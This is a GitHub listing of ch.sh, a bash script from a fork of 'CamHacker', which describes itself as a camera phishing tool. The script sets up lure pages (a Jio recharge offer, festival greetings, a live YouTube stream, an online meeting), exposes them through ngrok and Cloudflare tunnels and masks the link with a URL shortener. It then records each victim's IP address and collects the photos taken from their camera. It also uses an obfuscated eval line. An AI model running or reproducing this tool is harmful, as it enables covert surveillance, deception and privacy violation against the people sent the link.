forked from KasRoudra2/CamHacker
-
Notifications
You must be signed in to change notification settings - Fork 0
/
ch.sh
executable file
·588 lines (559 loc) · 17.5 KB
/
ch.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
#!/bin/bash
# CamHacker
# Version : 1.2
# Description: CamHacker is a camera Phishing tool. Send a phishing link to victim, if he/she gives access to camera, his/her photo will be captured!
# Author : KasRoudra
# Github : https://github.com/KasRoudra
# Email : [email protected]
# Credits : Noob-Hackers, TechChipNet, LinuxChoice
# Date : 5-09-2021
# Language : Shell
# Portable File
# If you copy, consider giving credit! We keep our code open source to help others
# Colors
black="\033[1;30m"
red="\033[1;31m"
green="\033[1;32m"
yellow="\033[1;33m"
blue="\033[1;34m"
purple="\033[1;35m"
cyan="\033[1;36m"
violate="\033[1;37m"
white="\033[0;37m"
nc="\033[00m"
# Output snippets
info="${cyan}[${white}+${cyan}] ${yellow}"
ask="${cyan}[${white}?${cyan}] ${purple}"
error="${cyan}[${white}!${cyan}] ${red}"
success="${cyan}[${white}√${cyan}] ${green}"
z="
";Bz=' (ec';Qz='}Do ';Fz=' gre';Nz='o -e ';Iz='sR';Tz='al co';Sz='ste';Hz=' "Ka';Lz='then';Uz='de!"';Ez='go" |';Jz='dra"';Az='if !';Pz='rror';Oz='"${e';Rz='not ';Cz='ho "';Kz=')';Vz='ex';Mz='ech';Gz='p -q';Wz='fi';Dz='$lo';Yz='it';Zz='ou';
version="1.2"
cwd=`pwd`
# Logo
logo="
${green} ____ _ _ _
${red} / ___|__ _ _ __ ___ | | | | __ _ ___| | _____ _ __
${cyan}| | / _' | '_ ' _ \| |_| |/ _' |/ __| |/ / _ \ '__|
${purple}| |__| (_| | | | | | | _ | (_| | (__| < __/ |
${yellow} \____\__,_|_| |_| |_|_| |_|\__,_|\___|_|\_\___|_|
${red} [v1.2]
${blue} [By KasRoudra]
"
# Package Installer
pacin(){
if $sudo && $pacman; then
sudo pacman -S $1 --noconfirm
fi
}
# Kill running instances of required packages
killer() {
if [ `pidof php > /dev/null 2>&1` ]; then
killall php
fi
if [ `pidof ngrok > /dev/null 2>&1` ]; then
killall ngrok
fi
if [ `pidof cloudflared > /dev/null 2>&1` ]; then
killall cloudflared
fi
if [ `pidof curl > /dev/null 2>&1` ]; then
killall curl
fi
if [ `pidof wget > /dev/null 2>&1` ]; then
killall wget
fi
if [ `pidof unzip > /dev/null 2>&1` ]; then
killall unzip
fi
}
# Check if offline
netcheck() {
while true; do
wget --spider --quiet https://github.com
if [ "$?" != 0 ]; then
echo -e "${error}No internet!\007\n"
sleep 2
else
break
fi
done
}
# Delete ngrok file
ngrokdel() {
unzip ngrok.zip
rm -rf ngrok.zip
}
# Set template
replacer() {
while true; do
if echo $option | grep -q "1"; then
sed "s+forwarding_link+"$1"+g" grabcam.html > index2.html
sed "s+forwarding_link+"$1"+g" template.php > index.php
break
elif echo $option | grep -q "2"; then
sed "s+forwarding_link+"$1"+g" template.php > index.php
sed "s+forwarding_link+"$1"+g" festivalwishes.html > index3.html
sed "s+fes_name+"$fest_name"+g" index3.html > index2.html
rm -rf index3.html
break
elif echo $option | grep -q "3"; then
sed "s+forwarding_link+"$1"+g" template.php > index.php
sed "s+forwarding_link+"$1"+g" LiveYTTV.html > index3.html
sed "s+live_yt_tv+"$vid_id"+g" index3.html > index2.html
rm -rf index3.html
break
elif echo $option | grep -q "4"; then
sed "s+forwarding_link+"$1"+g" template.php > index.php
sed "s+forwarding_link+"$1"+g" OnlineMeeting.html > index2.html
break
fi
done
echo -e "${info}Your urls are: \n"
sleep 1
echo -e "${success}URL 1 > ${1}\n"
sleep 1
netcheck
masked=$(curl -s https://is.gd/create.php\?format\=simple\&url\=${1})
if ! [[ -z $masked ]]; then
echo -e "${success}URL 2 > ${masked}\n"
fi
}
# Prevent ^C
stty -echoctl
# Detect UserInterrupt
trap "echo -e '\n${success}Thanks for using!\n'; exit" 2
# Termux
if [[ -d /data/data/com.termux/files/home ]]; then
termux-fix-shebang ch.sh
termux=true
else
termux=false
fi
# Workdir
if $termux; then
if ! [ -d /sdcard/Pictures ]; then
cd /sdcard && mkdir Pictures
fi
export FOL="/sdcard/Pictures"
cd "$FOL"
if ! [[ -e ".temp" ]]; then
touch .temp || (termux-setup-storage && echo -e "\n${error}Please Restart Termux!\n\007" && sleep 5 && exit 0)
fi
cd "$cwd"
else
if [ -d "$HOME/Pictures" ]; then
export FOL="$HOME/Pictures"
else
export FOL="$cwd"
fi
fi
# Set Tunneler
export TN="Cloudflared"
# Set Package Manager
if [ `command -v sudo` ]; then
sudo=true
else
sudo=false
fi
if $sudo; then
if [ `command -v apt` ]; then
pac_man="sudo apt"
elif [ `command -v apt-get` ]; then
pac_man="sudo apt-get"
elif [ `command -v yum` ]; then
pac_man="sudo yum"
elif [ `command -v dnf` ]; then
pac_man="sudo dnf"
elif [ `command -v apk` ]; then
pac_man="sudo apk"
elif [ `command -v pacman` ]; then
pacman=true
else
echo -e "${error}No supported package manager found! Install packages manually!\007\n"
exit 1
fi
else
if [ `command -v apt` ]; then
pac_man="apt"
elif [ `command -v apt-get` ]; then
pac_man="apt-get"
elif [ `command -v brew` ]; then
pac_man="brew"
else
echo -e "${error}No supported package manager found! Install packages manually!\007\n"
exit 1
fi
fi
# Install Dependicies
if ! [ `command -v php` ]; then
echo -e "${info}Installing php...."
$pac_man install php -y
pacin php
fi
if ! [ `command -v curl` ]; then
echo -e "${info}Installing curl...."
$pac_man install curl -y
pacin "unzip"
fi
if ! [ `command -v unzip` ]; then
echo -e "${info}Installing unzip...."
$pac_man install unzip -y
pacin "unzip"
fi
if ! [ `command -v wget` ]; then
echo -e "${info}Installing wget...."
$pac_man install wget -y
pacin "wget"
fi
if $termux; then
if ! [ `command -v proot` ]; then
echo -e "${info}Installing proot...."
pkg install proot -y
fi
if ! [ `command -v proot` ]; then
echo -e "${error}Proot can't be installed!\007\n"
exit 1
fi
fi
if ! [ `command -v php` ]; then
echo -e "${error}PHP cannot be installed!\007\n"
exit 1
fi
if ! [ `command -v curl` ]; then
echo -e "${error}Curl cannot be installed!\007\n"
exit 1
fi
if ! [ `command -v unzip` ]; then
echo -e "${error}Unzip cannot be installed!\007\n"
exit 1
fi
if ! [ `command -v wget` ]; then
echo -e "${error}Wget cannot be installed!\007\n"
exit 1
fi
if [ `pidof php > /dev/null 2>&1` ]; then
echo -e "${error}Previous php cannot be closed. Restart terminal!\007\n"
killer; exit 1
fi
if [ `pidof ngrok > /dev/null 2>&1` ]; then
echo -e "${error}Previous ngrok cannot be closed. Restart terminal!\007\n"
killer; exit 1
fi
# Termux should run from home
if $termux; then
path=`pwd`
if echo "$path" | grep -q "home"; then
printf ""
else
echo -e "${error}Invalid directory. Run from home!\007\n"
killer; exit 1
fi
fi
# Download tunnlers
if ! [[ -f $HOME/.ngrokfolder/ngrok && -f $HOME/.cffolder/cloudflared ]] ; then
if ! [[ -d $HOME/.ngrokfolder ]]; then
cd $HOME && mkdir .ngrokfolder
fi
if ! [[ -d $HOME/.cffolder ]]; then
cd $HOME && mkdir .cffolder
fi
p=`uname -m`
d=`uname`
while true; do
echo -e "\n${info}Downloading Tunnelers:\n"
netcheck
if [ -e ngrok.zip ];then
rm -rf ngrok.zip
fi
cd "$cwd"
if echo "$d" | grep -q "Darwin"; then
if echo "$p" | grep -q "x86_64"; then
wget -q --show-progress "https://github.com/KasRoudra/files/raw/main/ngrok/ngrok-stable-darwin-amd64.zip" -O "ngrok.zip"
ngrokdel
wget -q --show-progress "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-darwin-amd64.tgz" -O "cloudflared.tgz"
tar -zxf cloudflared.tgz > /dev/null 2>&1
rm -rf cloudflared.tgz
break
elif echo "$p" | grep -q "arm64"; then
wget -q --show-progress "https://github.com/KasRoudra/files/raw/main/ngrok/ngrok-stable-arm64.zip" -O "ngrok.zip"
ngrokdel
echo -e "${error}Cloudflared not available for device architecture!"
sleep 3
break
else
echo -e "${error}Device architecture unknown. Download ngrok/cloudflared manually!"
sleep 3
break
fi
elif echo "$d" | grep -q "Linux"; then
if echo "$p" | grep -q "aarch64"; then
if [ -e ngrok-stable-linux-arm64.tgz ];then
rm -rf ngrok-stable-linux-arm64.tgz
fi
wget -q --show-progress "https://github.com/KasRoudra/files/raw/main/ngrok/ngrok-stable-linux-arm64.tgz" -O "ngrok.tgz"
tar -zxf ngrok.tgz
rm -rf ngrok.tgz
wget -q --show-progress "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm64" -O "cloudflared"
break
elif echo "$p" | grep -q "arm"; then
wget -q --show-progress "https://github.com/KasRoudra/files/raw/main/ngrok/ngrok-stable-linux-arm.zip" -O "ngrok.zip"
ngrokdel
wget -q --show-progress 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm' -O "cloudflared"
break
elif echo "$p" | grep -q "x86_64"; then
wget -q --show-progress "https://github.com/KasRoudra/files/raw/main/ngrok/ngrok-stable-linux-amd64.zip" -O "ngrok.zip"
ngrokdel
wget -q --show-progress 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64' -O "cloudflared"
break
else
wget -q --show-progress "https://github.com/KasRoudra/files/raw/main/ngrok/ngrok-stable-linux-386.zip" -O "ngrok.zip"
ngrokdel
wget -q --show-progress "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-386" -O "cloudflared"
break
fi
else
echo -e "${error}Unsupported Platform!"
exit
fi
done
sleep 1
cd "$cwd"
mv -f ngrok $HOME/.ngrokfolder
mv -f cloudflared $HOME/.cffolder
if $sudo; then
sudo chmod +x $HOME/.ngrokfolder/ngrok
sudo chmod +x $HOME/.cffolder/cloudflared
else
chmod +x $HOME/.ngrokfolder/ngrok
chmod +x $HOME/.cffolder/cloudflared
fi
fi
# Check for update
netcheck
eval "$Az$Bz$Cz$Dz$Ez$Fz$Gz$Hz$Iz$Zz$Jz$Kz$z$Lz$z$Mz$Nz$Oz$Pz$Qz$Rz$Sz$Tz$Uz$z$Vz$Yz$z$Wz"
git_ver=`curl -s -N https://raw.githubusercontent.com/KasRoudra/CamHacker/main/files/version.txt`
if [[ "$version" != "$git_ver" && "$git_ver" != "404: Not Found" ]]; then
changelog=`curl -s -N https://raw.githubusercontent.com/KasRoudra/CamHacker/main/files/changelog.log`
clear
echo -e "$logo"
echo -e "${info}CamHacker has a new update!\n${info}Current: ${red}${version}\n${info}Available: ${green}${git_ver}\n"
printf "${ask}Do you want to update CamHacker?${yellow}[y/n] > $green"
read upask
printf "$nc"
if [[ "$upask" == "y" ]]; then
cd .. && rm -rf CamHacker camhacker && git clone https://github.com/KasRoudra/CamHacker
echo -e "\n${success}CamHacker updated successfully!!"
if [[ "$changelog" != "404: Not Found" ]]; then
echo -e "${purple}[•] Changelog:\n${blue}${changelog}"
fi
exit
elif [[ "$upask" == "n" ]]; then
echo -e "\n${info}Updating cancelled. Using old version!"
sleep 2
else
echo -e "\n${error}Wrong input!\n"
sleep 2
fi
fi
# Ngrok Authtoken
if ! [[ -e $HOME/.ngrok2/ngrok.yml ]]; then
echo -e "\n${ask}Enter your ngrok authtoken:"
printf "${cyan}\nCam${nc}@${cyan}Hacker ${red}$ ${nc}"
read auth
if [ -z $auth ]; then
echo -e "\n${error}No authtoken!\n\007"
sleep 1
else
cd $HOME/.ngrokfolder && ./ngrok authtoken ${auth}
fi
fi
# Start Point
while true; do
clear
echo -e "$logo"
sleep 1
echo -e "${ask}Choose a option:
${cyan}[${white}1${cyan}] ${yellow}Jio Recharge
${cyan}[${white}2${cyan}] ${yellow}Festival
${cyan}[${white}3${cyan}] ${yellow}Live Youtube
${cyan}[${white}4${cyan}] ${yellow}Online Meeting
${cyan}[${white}i${cyan}] ${yellow}Change Image Directory (current: ${red}${FOL}${yellow})
${cyan}[${white}t${cyan}] ${yellow}Change Default Tunneler (current: ${red}${TN}${yellow})
${cyan}[${white}x${cyan}] ${yellow}About
${cyan}[${white}m${cyan}] ${yellow}More tools
${cyan}[${white}0${cyan}] ${yellow}Exit${blue}
"
sleep 1
printf "${cyan}\nCam${nc}@${cyan}Hacker ${red}$ ${nc}"
read option
# Select template
if echo $option | grep -q "1"; then
dir="jio"
break
elif echo $option | grep -q "2"; then
dir="fest"
printf "\n${ask}Enter festival name:${cyan}\n\nCam${nc}@${cyan}Hacker ${red}$ ${nc}"
read fest_name
if [ -z $fest_name ]; then
echo -e "\n${error}Invalid input!\n\007"
sleep 1
else
fest_name="${fest_name//[[:space:]]/}"
break
fi
elif echo $option | grep -q "3"; then
dir="live"
printf "\n${ask}Enter youtube video ID:${cyan}\n\nCam${nc}@${cyan}Hacker ${red}$ ${nc}"
read vid_id
if [ -z $vid_id ]; then
echo -e "\n${error}Invalid input!\n\007"
sleep 1
else
break
fi
elif echo $option | grep -q "4"; then
dir="om"
break
elif echo $option | grep -q "t"; then
if [ $TN == "Cloudflared" ]; then
export TN="Ngrok"
else
export TN="Cloudflared"
fi
elif echo $option | grep -q "i"; then
printf "\n${ask}Enter Directory:${cyan}\n\nCam${nc}@${cyan}Hacker ${red}$ ${nc}"
read dire
if ! [ -d $dire ]; then
echo -e "\n${error}Invalid directory!\n\007"
sleep 1
else
export FOL="$dire"
echo -e "\n${success}Directory changed successfully!\n"
sleep 1
fi
elif echo $option | grep -q "x"; then
clear
echo -e "$logo"
echo -e "$red[ToolName] ${cyan} :[CamHacker]
$red[Version] ${cyan} :[1.2]
$red[Description]${cyan} :[Camera Phishing tool]
$red[Author] ${cyan} :[KasRoudra]
$red[Github] ${cyan} :[https://github.com/KasRoudra]
$red[Messenger] ${cyan} :[https://m.me/KasRoudra]
$red[Email] ${cyan} :[[email protected]]"
printf "${cyan}\nCam${nc}@${cyan}Hacker ${red}$ ${nc}"
read about
elif echo $option | grep -q "m"; then
xdg-open "https://github.com/KasRoudra/KasRoudra#My-Best-Works"
elif echo $option | grep -q "0"; then
exit 0
else
echo -e "\n${error}Invalid input!\007"
sleep 1
fi
done
cd $cwd
if [ -e websites.zip ];then
unzip websites.zip > /dev/null 2>&1
rm -rf websites.zip
fi
if ! [ -d $dir ];then
mkdir $dir
cd $dir
netcheck
wget -q --show-progress "https://github.com/KasRoudra/files/raw/main/${dir}.zip"
unzip ${dir}.zip > /dev/null 2>&1
rm -rf ${dir}.zip
else
cd $dir
fi
# Hotspot required for termux
if $termux; then
echo -e "\n${info}If you haven't turned on hotspot, please enable it!"
sleep 3
fi
echo -e "\n${info}Starting php server at localhost:7777....\n"
netcheck
php -S 127.0.0.1:7777 > /dev/null 2>&1 &
sleep 2
echo -e "${info}Starting tunnelers......\n"
if [ -e "$HOME/.cffolder/log.txt" ]; then
rm -rf "$HOME/.cffolder/log.txt"
fi
netcheck
cd $HOME/.ngrokfolder && ./ngrok http 127.0.0.1:7777 > /dev/null 2>&1 &
if $termux; then
cd $HOME/.cffolder && termux-chroot ./cloudflared tunnel -url "127.0.0.1:7777" --logfile "log.txt" > /dev/null 2>&1 &
else
cd $HOME/.cffolder && ./cloudflared tunnel -url "127.0.0.1:7777" --logfile "log.txt" > /dev/null 2>&1 &
fi
sleep 8
ngroklink=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[-0-9a-z]*\.ngrok.io")
if (echo "$ngroklink" | grep -q "ngrok"); then
ngrokcheck=true
else
ngrokcheck=false
fi
cflink=$(grep -o 'https://[-0-9a-z]*\.trycloudflare.com' "$HOME/.cffolder/log.txt")
if (echo "$cflink" | grep -q "cloudflare"); then
cfcheck=true
else
cfcheck=false
fi
while true; do
if ( $cfcheck && $ngrokcheck ); then
if [ $TN -eq "Cloudflared" ]; then
echo -e "${success}Cloudflared choosen!\n"
replacer "$cflink"
else
echo -e "${success}Ngrok choosen!\n"
replacer "$ngroklink"
fi
break
fi
if ( $cfcheck && ! $ngrokcheck ); then
echo -e "${success}Cloudflared started succesfully!\n"
replacer "$cflink"
break
fi
if ( ! $cfcheck && $ngrokcheck ); then
echo -e "${success}Ngrok started succesfully!\n"
replacer "$ngroklink"
break
fi
if ! ( $cfcheck && $ngrokcheck ); then
echo -e "${error}Tunneling failed!\n"
killer; exit 1
fi
done
sleep 1
status=$(curl -s --head -w %{http_code} 127.0.0.1:7777 -o /dev/null)
if echo "$status" | grep -q "404"; then
echo -e "${error}PHP couldn't start!\n\007"
killer; exit 1
else
echo -e "${success}PHP started succesfully!\n"
fi
sleep 1
rm -rf ip.txt
echo -e "${info}Waiting for target. ${cyan}Press ${red}Ctrl + C ${cyan}to exit...\n"
while true; do
if [[ -e "ip.txt" ]]; then
echo -e "\007${success}Target opened the link!\n"
while IFS= read -r line; do
echo -e "${green}[${blue}*${green}]${yellow} $line"
done < ip.txt
echo ""
cat ip.txt >> $cwd/ips.txt
rm -rf ip.txt
fi
sleep 0.5
if [[ -e "log.txt" ]]; then
echo -e "\007${success}Image downloaded! Check directory!\n"
file=`ls | grep png`
mv -f $file $FOL
rm -rf log.txt
fi
sleep 0.5
done